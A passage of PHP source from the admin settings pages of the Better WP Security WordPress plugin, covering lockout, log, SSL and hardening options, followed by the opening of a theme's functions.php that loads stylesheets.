<input id="ll_banperiod" name="ll_banperiod" type="text" value="<?php echo $bwpsoptions['ll_banperiod']; ?>" />
<p><?php _e( 'The length of time a host or computer will be banned from this site after hitting the limit of bad logins.', 'better-wp-security' ); ?></p>
</td>
</tr>
<?php if ( $bwpsoptions['st_writefiles'] == 1 ) { ?>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "ll_blacklistip"><?php _e( 'Blacklist Repeat Offender', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="ll_blacklistip" name="ll_blacklistip" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['ll_blacklistip'] ); ?> />
<p><?php _e( 'If this box is checked the IP address of the offending computer will be added to the "Ban Users" blacklist after reaching the number of lockouts listed below.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "ll_blacklistipthreshold"><?php _e( 'Blacklist Threshold', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="ll_blacklistipthreshold" name="ll_blacklistipthreshold" type="text" value="<?php echo $bwpsoptions['ll_blacklistipthreshold']; ?>" />
<p><?php _e( 'The number of lockouts per IP before the user is banned permanently from this site', 'better-wp-security' ); ?></p>
</td>
</tr>
<?php } ?>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "ll_emailnotify"><?php _e( 'Email Notifications', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="ll_emailnotify" name="ll_emailnotify" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['ll_emailnotify'] ); ?> />
<p><?php _e( 'Enabling this feature will trigger an email to be sent to the specified email address whenever a host or user is locked out of the system.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "ll_emailaddress"><?php _e( 'Email Address', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="ll_emailaddress" name="ll_emailaddress" type="text" value="<?php echo ( isset( $_POST['ll_emailaddress'] ) ? filter_var( $_POST['ll_emailaddress'], FILTER_SANITIZE_STRING ) : ( $bwpsoptions['ll_emailaddress'] == '' ? get_option( 'admin_email' ) : $bwpsoptions['ll_emailaddress'] ) ); ?>" />
<p><?php _e( 'The email address lockout notifications will be sent to.', 'better-wp-security' ); ?></p>
</td>
</tr>
</table>
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'Save Changes', 'better-wp-security' ); ?>" /></p>
</form>
<?php
}
/**
* Intro block for view logs page
*
**/
function logs_content_1() {
?>
<p><?php _e( 'This page contains the logs generated by Better WP Security, current lockouts (which can be cleared here) and a way to cleanup the logs to save space on the server and reduce CPU load. Please note, you must manually clear these logs, they will not do so automatically. I highly recommend you do so regularly to improve performance which can otherwise be slowed if the system has to search through large log-files on a regular basis.', 'better-wp-security' ); ?></p>
<?php
}
/**
* Clear logs form for view logs page
*
**/
function logs_content_2() {
global $wpdb;
?>
<form method="post" action="">
<?php wp_nonce_field( 'BWPS_admin_save','wp_nonce' ); ?>
<input type="hidden" name="bwps_page" value="log_1" />
<?php //get database record counts
$countlogin = $wpdb->get_var( "SELECT COUNT(*) FROM `" . $wpdb->base_prefix . "bwps_log` WHERE`type` = 1;" );
$count404 = $wpdb->get_var("SELECT COUNT(*) FROM `" . $wpdb->base_prefix . "bwps_log` WHERE `type` = 2;" );
$countlockout = $wpdb->get_var( "SELECT COUNT(*) FROM `" . $wpdb->base_prefix . "bwps_lockouts` WHERE `exptime` < " . current_time( 'timestamp' ) . ";" );
$countchange = $wpdb->get_var( "SELECT COUNT(*) FROM `" . $wpdb->base_prefix . "bwps_log` WHERE `type` = 3;" );
?>
<table class="form-table">
<tr valign="top">
<th scope="row" class="settinglabel">
<?php _e( 'Old Data', 'better-wp-security' ); ?>
</th>
<td class="settingfield">
<p><?php _e( 'Below is old security data still in your WordPress database. Data is considered old when the lockout has expired, or been manually cancelled, or when the log entry will no longer be used to generate a lockout.', 'better-wp-security' ); ?></p>
<p><?php _e( 'This data is not automatically deleted so that it may be used for analysis. You may delete this data with the form below. To see the actual data you will need to access your database directly.', 'better-wp-security' ); ?></p>
<p><?php _e( 'Check the box next to the data you would like to clear and then press the "Remove Old Data" button. (note this will not erase entries that may still be used for lockouts).', 'better-wp-security' ); ?></p>
<ul>
<li style="list-style: none;"> <input type="checkbox" name="badlogins" id="badlogins" value="1" /> <label for="badlogins"><?php _e( 'Your database contains', 'better-wp-security' ); ?> <strong><?php echo $countlogin; ?></strong> <?php _e( 'bad login entries.', 'better-wp-security' ); ?></label></li>
<li style="list-style: none;"> <input type="checkbox" name="404s" id="404s" value="1" /> <label for="404s"><?php _e( 'Your database contains', 'better-wp-security' ); ?> <strong><?php echo $count404; ?></strong> <?php _e( '404 errors.', 'better-wp-security' ); ?><br />
<em><?php _e( 'This will clear the 404 log below.', 'better-wp-security' ); ?></em></label></li>
<li style="list-style: none;"> <input type="checkbox" name="lockouts" id="lockouts" value="1" /> <label for="lockouts"><?php _e( 'Your database contains', 'better-wp-security' ); ?> <strong><?php echo $countlockout; ?></strong> <?php _e( 'old lockouts.', 'better-wp-security' ); ?></label></li>
<li style="list-style: none;"> <input type="checkbox" name="changes" id="changes" value="1" /> <label for="changes"><?php _e( 'Your database contains', 'better-wp-security' ); ?> <strong><?php echo $countchange; ?></strong> <?php _e( 'changed file records.', 'better-wp-security' ); ?></label></li>
</ul>
</td>
</tr>
</table>
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'Remove Data', 'better-wp-security' ); ?>" /></p>
</form>
<?php
}
/**
* Active lockouts table and form for view logs page
*
**/
function logs_content_3() {
global $wpdb;
?>
<form method="post" action="">
<?php wp_nonce_field( 'BWPS_admin_save','wp_nonce' ); ?>
<input type="hidden" name="bwps_page" value="log_2" />
<?php //get locked out hosts and users from database
$hostLocks = $wpdb->get_results( "SELECT * FROM `" . $wpdb->base_prefix . "bwps_lockouts` WHERE `active` = 1 AND `exptime` > " . current_time( 'timestamp' ) . " AND `host` != 0;", ARRAY_A );
$userLocks = $wpdb->get_results( "SELECT * FROM `" . $wpdb->base_prefix . "bwps_lockouts` WHERE `active` = 1 AND `exptime` > " . current_time( 'timestamp' ) . " AND `user` != 0;", ARRAY_A );
?>
<table class="form-table">
<tr valign="top">
<th scope="row" class="settinglabel">
<?php _e( 'Locked out hosts', 'better-wp-security' ); ?>
</th>
<td class="settingfield">
<?php if ( sizeof( $hostLocks ) > 0 ) { ?>
<ul>
<?php foreach ( $hostLocks as $host) { ?>
<li style="list-style: none;"><input type="checkbox" name="lo_<?php echo filter_var( $host['id'], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ); ?>" id="lo_<?php echo $host['id']; ?>" value="<?php echo $host['id']; ?>" /> <label for="lo_<?php echo $host['id']; ?>"><strong><?php echo filter_var( $host['host'], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 );; ?></strong> - Expires <em><?php echo date( 'Y-m-d H:i:s', $host['exptime'] ); ?></em></label></li>
<?php } ?>
</ul>
<?php } else { //no host is locked out ?>
<p><?php _e( 'Currently no hosts are locked out of this website.', 'better-wp-security' ); ?></p>
<?php } ?>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<?php _e( 'Locked out users', 'better-wp-security' ); ?>
</th>
<td class="settingfield">
<?php if (sizeof( $userLocks ) > 0 ) { ?>
<ul>
<?php foreach ( $userLocks as $user ) { ?>
<?php $userdata = get_userdata( $user['user'] ); ?>
<li style="list-style: none;"><input type="checkbox" name="lo_<?php echo $user['id']; ?>" id="lo_<?php echo $user['id']; ?>" value="<?php echo $user['id']; ?>" /> <label for="lo_<?php echo $user['id']; ?>"><strong><?php echo $userdata->user_login; ?></strong> - Expires <em><?php echo date( 'Y-m-d H:i:s', $user['exptime'] ); ?></em></label></li>
<?php } ?>
</ul>
<?php } else { //no user is locked out ?>
<p><?php _e( 'Currently no users are locked out of this website.', 'better-wp-security' ); ?></p>
<?php } ?>
</td>
</tr>
</table>
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'Release Lockout', 'better-wp-security' ); ?>" /></p>
</form>
<?php
}
/**
* 404 table for view logs page
*
**/
function logs_content_4() {
global $wpdb, $bwps;
$log_content_4_table = new log_content_4_table();
$log_content_4_table->prepare_items();
$log_content_4_table->display();
?>
<p><a href="<?php echo admin_url(); ?><?php echo is_multisite() ? 'network/' : ''; ?>admin.php?page=better-wp-security-logs&bit51_404_csv" target="_blank" ><?php _e( 'Download 404 Log in .csv format', 'better-wp-security' ); ?></a></p>
<?php
}
/**
* table to show all bad logins
*
**/
function logs_content_7() {
global $wpdb;
$log_content_4_table = new log_content_7_table();
$log_content_4_table->prepare_items();
$log_content_4_table->display();
}
/**
* Lockout table log
*
**/
function logs_content_5() {
$log_content_5_table = new log_content_5_table();
$log_content_5_table->prepare_items();
$log_content_5_table->display();
}
function logs_content_6() {
global $bwps_filecheck;
?>
<a name="file-change"></a>
<?php
if ( isset( $_GET['bwps_change_details_id'] ) ) {
$logout = $bwps_filecheck->getdetails( absint( $_GET['bwps_change_details_id'] ) );
} else {
$logout = false;
}
if ( $logout !== false ) {
echo $logout;
unset( $logout );
?>
<p><a href="<?php echo admin_url(); ?><?php echo is_multisite() ? 'network/' : ''; ?>admin.php?page=better-wp-security-logs#file-change" ><?php _e( 'Return to Log', 'better-wp-security' ); ?></a></p>
<?php
} else {
$log_content_6_table = new log_content_6_table();
$log_content_6_table->prepare_items();
$log_content_6_table->display();
}
}
/**
* Intro block for system tweaks page
*
**/
function ssl_content_1() {
?>
<p><?php _e( 'Secure Socket Layers (aka SSL) is a technology that is used to encrypt the data sent between your server or host and the visitor to your web page. When activated it makes it almost impossible for an attacker to intercept data in transit therefore making the transmission of form, password, or other encrypted data much safer.', 'better-wp-security' ); ?></p>
<p><?php _e( 'Better WP Security gives you the option of turning on SSL (if your server or host support it) for all or part of your site. The options below allow you to automatically use SSL for major parts of your site, the login page, the admin dashboard, or the site as a whole. You can also turn on SSL for any post or page by editing the content you want to use SSL in and selecting "Enable SSL" in the publishing options of the content in question.', 'better-wp-security' ); ?></p>
<p><?php _e( 'While this plugin does give you the option of encrypting everything please note this might not be for you. SSL does add overhead to your site which will increase download times slightly. Therefore we recommend you enable SSL at a minimum on the login page, then on the whole admin section, finally on individual pages or posts with forms that require sensitive information.', 'better-wp-security' ); ?></p>
<h4 style="color: red; text-align: center; border-bottom: none;"><?php _e( 'WARNING: Your server MUST support SSL to use these features. Using these features without SSL support on your server or host will cause some or all of your site to become unavailable.', 'better-wp-security' ); ?></h4>
<?php
}
/**
* Intro block for ssl options page
*
**/
function ssl_content_2() {
global $bwpsoptions;
?>
<form method="post" action="">
<?php wp_nonce_field( 'BWPS_admin_save','wp_nonce' ); ?>
<input type="hidden" name="bwps_page" value="ssl_1" />
<table class="form-table">
<?php
echo '<script language="javascript">';
echo 'function forcessl() {';
echo 'alert( "' . __( 'Are you sure you want to enable SSL? If your server does not support SSL you will be locked out of your WordPress admin backend.', $this->hook ) . '" );';
echo '}';
echo '</script>';
?>
<tr valign="top" class="strongwarning">
<th scope="row" class="settinglabel">
<a name="ssl_frontend"></a><label for "ssl_frontend"><?php _e( 'Enforce Front end SSL', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<select id="ssl_frontend" name="ssl_frontend">
<option value="0" <?php selected( $bwpsoptions['ssl_frontend'], '0' ); ?>><?php _e( 'Off', 'better-wp-security' ); ?></option>
<option value="1" <?php selected( $bwpsoptions['ssl_frontend'], '1' ); ?>><?php _e( 'Per Content', 'better-wp-security' ); ?></option>
<option value="2" <?php selected( $bwpsoptions['ssl_frontend'], '2' ); ?>><?php _e( 'Whole Site', 'better-wp-security' ); ?></option>
</select>
<p><?php _e( 'Enables secure SSL connection for the front-end (public parts of your site). Turning this off will disable front-end SSL control, turning this on "Per Content" will place a checkbox on the edit page for all posts and pages (near the publish settings) allowing you to turn on SSL for selected pages or posts, and selecting "Whole Site" will force the whole site to use SSL (not recommended unless you have a really good reason to use it).', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top" class="strongwarning">
<th scope="row" class="settinglabel">
<a name="ssl_forcelogin"></a><label for "ssl_forcelogin"><?php _e( 'Enforce Login SSL', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input onchange="forcessl()" id="ssl_forcelogin" name="ssl_forcelogin" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['ssl_forcelogin'] ); ?> />
<p><?php _e( 'Forces all logins to be served only over a secure SSL connection.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top" class="strongwarning">
<th scope="row" class="settinglabel">
<label for "ssl_forceadmin"><?php _e( 'Enforce Admin SSL', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input onchange="forcessl()" id="ssl_forceadmin" name="ssl_forceadmin" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['ssl_forceadmin'] ); ?> />
<p><?php _e( 'Forces all of the WordPress backend to be served only over a secure SSL connection.', 'better-wp-security' ); ?></p>
</td>
</tr>
</table>
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'Save Changes', 'better-wp-security' ); ?>" /></p>
</form>
<?php
}
/**
* Intro block for system tweaks page
*
**/
function systemtweaks_content_1() {
?>
<p><?php _e( 'This page contains a number of tweaks that can significantly improve the security of your system.', 'better-wp-security' ); ?></p>
<p><?php _e( 'Server tweaks make use of rewrite rules and, in the case of Apache or LiteSpeed, will write them to your .htaccess file. If you are however using NGINX you will need to manually copy the rules on the Better WP Security Dashboard and put them in your server configuration.', 'better-wp-security' ); ?></p>
<p><?php _e( 'The other tweaks, in some cases, make use of editing your wp-config.php file. Those that do can be manually turned off by reverting the changes that file.', 'better-wp-security' ); ?></p>
<p><?php _e( 'Be advsied, some of these tweaks may in fact break other plugins and themes that make use of techniques that are often seen in practice as suspicious. That said, I highly recommend turning these on one-by-one and don\'t worry if you cannot use them all.', 'better-wp-security' ); ?></p>
<?php
}
/**
* Rewrite options for system tweaks page
*
**/
function systemtweaks_content_2() {
global $bwpsoptions;
?>
<?php if ( ! strstr( strtolower( filter_var( $_SERVER['SERVER_SOFTWARE'], FILTER_SANITIZE_STRING ) ), 'apache' ) && ! strstr( strtolower( filter_var( $_SERVER['SERVER_SOFTWARE'], FILTER_SANITIZE_STRING ) ), 'litespeed' ) && ! strstr( strtolower( filter_var( $_SERVER['SERVER_SOFTWARE'], FILTER_SANITIZE_STRING ) ), 'nginx' ) ) { //don't diplay options for unsupported server ?>
<p><?php _e( 'Your webserver is unsupported. You must use Apache, LiteSpeed or NGINX to make use of these rules.', 'better-wp-security' ); ?></p>
<?php } else { ?>
<form method="post" action="">
<?php wp_nonce_field( 'BWPS_admin_save','wp_nonce' ); ?>
<input type="hidden" name="bwps_page" value="systemtweaks_1" />
<table class="form-table">
<tr valign="top">
<td scope="row" colspan="2" class="settingsection">
<a name="st_ht_files"></a><h4><?php _e( 'Server Tweaks', 'better-wp-security' ); ?></h4>
</td>
</tr>
<tr valign="top" class="warning">
<th scope="row" class="settinglabel">
<label for "st_ht_files"><?php _e( 'Protect Files', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="st_ht_files" name="st_ht_files" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['st_ht_files'] ); ?> />
<p><?php _e( 'Prevent public access to readme.html, readme.txt, wp-config.php, install.php, wp-includes, and .htaccess. These files can give away important information on your site and serve no purpose to the public once WordPress has been successfully installed.', 'better-wp-security' ); ?></p>
<p class="warningtext"><?php _e( 'Warning: This feature is known to cause conflicts with some plugins and themes.', 'better-wp-security' ); ?></p>
</td>
</tr>
<?php if ( strstr( strtolower( filter_var( $_SERVER['SERVER_SOFTWARE'], FILTER_SANITIZE_STRING ) ), 'apache' ) || strstr( strtolower( filter_var( $_SERVER['SERVER_SOFTWARE'], FILTER_SANITIZE_STRING ) ), 'litespeed' ) ) { ?>
<tr valign="top" class="warning">
<th scope="row" class="settinglabel">
<label for "st_ht_browsing"><?php _e( 'Disable Directory Browsing', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="st_ht_browsing" name="st_ht_browsing" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['st_ht_browsing'] ); ?> />
<p><?php _e( 'Prevents users from seeing a list of files in a directory when no index file is present.', 'better-wp-security' ); ?></p>
<p class="warningtext"><?php _e( 'Warning: This feature is known to cause conflicts with some server configurations in which this feature has already been enabled in Apache.', 'better-wp-security' ); ?></p>
</td>
</tr>
<?php } ?>
<tr valign="top" class="warning">
<th scope="row" class="settinglabel">
<label for "st_ht_request"><?php _e( 'Filter Request Methods', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="st_ht_request" name="st_ht_request" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['st_ht_request'] ); ?> />
<p><?php _e( 'Filter out hits with the trace, delete, or track request methods.', 'better-wp-security' ); ?></p>
<p class="warningtext"><?php _e( 'Warning: This feature is known to cause conflicts with some plugins and themes.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top" class="warning">
<th scope="row" class="settinglabel">
<label for "st_ht_query"><?php _e( 'Filter Suspicious Query Strings', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="st_ht_query" name="st_ht_query" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['st_ht_query'] ); ?> />
<p><?php _e( 'Filter out suspicious query strings in the URL. These are very often signs of someone trying to gain access to your site but some plugins and themes can also be blocked.', 'better-wp-security' ); ?></p>
<p class="warningtext"><?php _e( 'Warning: This feature is known to cause conflicts with some plugins and themes.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top" class="warning">
<th scope="row" class="settinglabel">
<label for "st_ht_foreign"><?php _e( 'Filter Non-English Characters', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="st_ht_foreign" name="st_ht_foreign" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['st_ht_foreign'] ); ?> />
<p><?php _e( 'Filter out non-english characters from the query string. This should not be used on non-english sites and only works when "Filter Suspicious Query String" has been selected.', 'better-wp-security' ); ?></p>
<p class="warningtext"><?php _e( 'Warning: This feature is known to cause conflicts with some plugins and themes.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr>
<td scope="row" colspan="2" class="settingsubmit">
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'Save Changes', 'better-wp-security' ); ?>" /></p>
</td>
</tr>
<tr>
<td scope="row" colspan="2" class="settingsection">
<a name="st_generator"></a><h4><?php _e( 'Header Tweaks', 'better-wp-security' ); ?></h4>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "st_generator"><?php _e( 'Remove WordPress Generator Meta Tag', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="st_generator" name="st_generator" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['st_generator'] ); ?> />
<p><?php _e( 'Removes the <meta name="generator" content="WordPress [version]" /> meta tag from your sites header. This process hides version information from a potential attacker making it more difficult to determine vulnerabilities.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "st_manifest"><?php _e( 'Remove wlwmanifest header', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="st_manifest" name="st_manifest" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['st_manifest'] ); ?> />
<p><?php _e( 'Removes the Windows Live Writer header. This is not needed if you do not use Windows Live Writer or other blogging clients that rely on this file.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top" class="warning">
<th scope="row" class="settinglabel">
<label for "st_edituri"><?php _e( 'Remove EditURI header', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="st_edituri" name="st_edituri" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['st_edituri'] ); ?> />
<p><?php _e( 'Removes the RSD (Really Simple Discovery) header. If you don\'t integrate your blog with external XML-RPC services such as Flickr then the "RSD" function is pretty much useless to you.', 'better-wp-security' ); ?></p>
<p class="warningtext"><?php _e( 'Warning: This feature is known to cause conflicts with some 3rd party application and services that may want to interact with WordPress.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr>
<td scope="row" colspan="2" class="settingsubmit">
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'Save Changes', 'better-wp-security' ); ?>" /></p>
</td>
</tr>
<tr>
<td scope="row" colspan="2" class="settingsection">
<a name="st_themenot"></a><h4><?php _e( 'Dashboard Tweaks', 'better-wp-security' ); ?></h4>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "st_themenot"><?php _e( 'Hide Theme Update Notifications', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="st_themenot" name="st_themenot" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['st_themenot'] ); ?> />
<p><?php _e( 'Hides theme update notifications from users who cannot update themes. Please note that this only makes a difference in multi-site installations.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "st_pluginnot"><?php _e( 'Hide Plugin Update Notifications', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="st_pluginnot" name="st_pluginnot" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['st_pluginnot'] ); ?> />
<p><?php _e( 'Hides plugin update notifications from users who cannot update themes. Please note that this only makes a difference in multi-site installations.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "st_corenot"><?php _e( 'Hide Core Update Notifications', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="st_corenot" name="st_corenot" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['st_corenot'] ); ?> />
<p><?php _e( 'Hides core update notifications from users who cannot update themes. Please note that this only makes a difference in multi-site installations.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr>
<td scope="row" colspan="2" class="settingsubmit">
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'Save Changes', 'better-wp-security' ); ?>" /></p>
</td>
</tr>
<tr>
<td scope="row" colspan="2" class="settingsection">
<h4><?php _e( 'Strong Password Tweaks', 'better-wp-security' ); ?></h4>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<a name="st_enablepassword"></a><label for "st_enablepassword"><?php _e( 'Enable strong password enforcement', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="st_enablepassword" name="st_enablepassword" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['st_enablepassword'] ); ?> />
<p><?php _e( 'Enforce strong passwords for all users with at least the role specified below.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top" class="warning">
<th scope="row" class="settinglabel">
<label for "st_passrole"><?php _e( 'Strong Password Role', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<select name="st_passrole" id="st_passrole">
<option value="administrator" <?php if ( $bwpsoptions['st_passrole'] == "administrator" ) echo "selected"; ?>><?php echo translate_user_role( 'Administrator' ); ?></option>
<option value="editor" <?php if ( $bwpsoptions['st_passrole'] == "editor" ) echo "selected"; ?>><?php echo translate_user_role( 'Editor' ); ?></option>
<option value="author" <?php if ( $bwpsoptions['st_passrole'] == "author" ) echo "selected"; ?>><?php echo translate_user_role( 'Author' ); ?></option>
<option value="contributor" <?php if ( $bwpsoptions['st_passrole'] == "contributor" ) echo "selected"; ?>><?php echo translate_user_role( 'Contributor' ); ?></option>
<option value="subscriber" <?php if ( $bwpsoptions['st_passrole'] == "subscriber" ) echo "selected"; ?>><?php echo translate_user_role( 'Subscriber' ); ?></option>
</select>
<p><?php _e( 'Minimum role at which a user must choose a strong password. For more information on WordPress roles and capabilities please see', 'better-wp-security' ); ?> <a href="http://codex.wordpress.org/Roles_and_Capabilities" target="_blank">http://codex.wordpress.org/Roles_and_Capabilities</a>.</p>
<p class="warningtext"><?php _e( 'Warning: If your site invites public registrations setting the role too low may annoy your members.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr>
<td scope="row" colspan="2" class="settingsubmit">
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'Save Changes', 'better-wp-security' ); ?>" /></p>
</td>
</tr>
<tr>
<td scope="row" colspan="2" class="settingsection">
<h4><?php _e( 'Other Tweaks', 'better-wp-security' ); ?></h4>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<a name="st_loginerror"></a><label for "st_loginerror"><?php _e( 'Remove WordPress Login Error Messages', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="st_loginerror" name="st_loginerror" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['st_loginerror'] ); ?> />
<p><?php _e( 'Prevents error messages from being displayed to a user upon a failed login attempt.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top" class="warning">
<th scope="row" class="settinglabel">
<a name="st_writefiles"></a><label for "st_writefiles"><?php _e( 'Write to WordPress core files', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="st_writefiles" name="st_writefiles" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['st_writefiles'] ); ?> />
<p><?php _e( 'Allow Better WP Security to write to .htaccess and wp-config.php. With this turned on this plugin will automatically write to your .htaccess and wp-config.php files. With it turned off you will need to manually make changes to these files and both the renaming of wp-content and the changing of the database table prefix will not be available.', 'better-wp-security' ); ?></p>
<p><?php _e( 'This option is safe in nearly all instances however, if you know you have a server configuration that may conflict or simply want to make the changes yourself then uncheck this feature.', 'better-wp-security' ); ?></p>
<p class="warningtext"><?php _e( 'Warning: This feature is known to cause conflicts with some server configurations.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top" class="warning">
<th scope="row" class="settinglabel">
<a name="st_comment"></a><label for "st_comment"><?php _e( 'Reduce comment spam', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="st_comment" name="st_comment" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['st_comment'] ); ?> />
<p><?php _e( 'This option will cut down on comment spam by denying comments from bots with no referrer or without a user-agent identified.', 'better-wp-security' ); ?></p>
<p><?php _e( 'Note this feature only applies if "Write to WordPress core files" is enabled.', 'better-wp-security' ); ?></p>
<p class="warningtext"><?php _e( 'Warning: This feature is known to cause conflicts with some plugins and themes.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top" class="warning">
<th scope="row" class="settinglabel">
<a name="st_fileperm"></a><label for "st_fileperm"><?php _e( 'Remove write permissions from .htaccess and wp-config.php', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="st_fileperm" name="st_fileperm" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['st_fileperm'] ); ?> />
<p><?php _e( 'Prevents scripts and users from being able to write to the wp-config.php file and .htaccess file. Note that in the case of this and many plugins this can be overcome however it still does make the files more secure. Turning this on will set the unix file permissions to 0444 on these files and turning it off will set the permissions to 0644.', 'better-wp-security' ); ?></p>
<p><?php _e( 'Note this feature only applies if "Write to WordPress core files" is enabled.', 'better-wp-security' ); ?></p>
<p class="warningtext"><?php _e( 'Warning: This feature is known to cause conflicts with some plugins and themes.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top" class="warning">
<th scope="row" class="settinglabel">
<a name="st_randomversion"></a><label for "st_randomversion"><?php _e( 'Display random version number to all non-administrative users', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="st_randomversion" name="st_randomversion" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['st_randomversion'] ); ?> />
<p><?php _e( 'Displays a random version number to visitors who are not logged in at all points where version number must be used and removes the version completely from where it can.', 'better-wp-security' ); ?></p>
<p class="warningtext"><?php _e( 'Warning: This feature is known to cause conflicts with some plugins and themes.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top" class="warning">
<th scope="row" class="settinglabel">
<a name="st_longurl"></a><label for "st_longurl"><?php _e( 'Prevent long URL strings', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="st_longurl" name="st_longurl" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['st_longurl'] ); ?> />
<p><?php _e( 'Limits the number of characters that can be sent in the URL. Hackers often take advantage of long URLs to try to inject information into your database.', 'better-wp-security' ); ?></p>
<p class="warningtext"><?php _e( 'Warning: This feature is known to cause conflicts with some plugins and themes.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top" class="warning">
<th scope="row" class="settinglabel">
<a name="st_fileedit"></a><label for "st_fileedit"><?php _e( 'Turn off file editor in WordPress Back-end', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="st_fileedit" name="st_fileedit" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['st_fileedit'] ); ?> />
<p><?php _e( 'Disables the file editor for plugins and themes requiring users to have access to the file system to modify files. Once activated you will need to manually edit theme and other files using a tool other than WordPress.', 'better-wp-security' ); ?></p>
<p class="warningtext"><?php _e( 'Warning: This feature is known to cause conflicts with some plugins and themes.', 'better-wp-security' ); ?></p>
</td>
</tr>
</table>
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'Save Changes', 'better-wp-security' ); ?>" /></p>
</form>
<?php } ?>
<?php
}
}
}
<file_sep>/wp-content/themes/TWWF/functions.php
<?php
define('FDC_ACCESS', 1);
// FRAMEWORK INI
require_once get_template_directory() . '/lib/functions/fdc-framework.php';
/*---------------------------------------------------*/
/* STYLES */
/*---------------------------------------------------*/
function fdc_styles(){
wp_enqueue_style( 'slick-stylesheet', get_template_directory_uri().'/assets/css/slick.css', false, '1.0' );
wp_enqueue_style( 'main-stylesheet', get_template_directory_uri().'/assets/css/twwf.css', false, '1.0' );
}
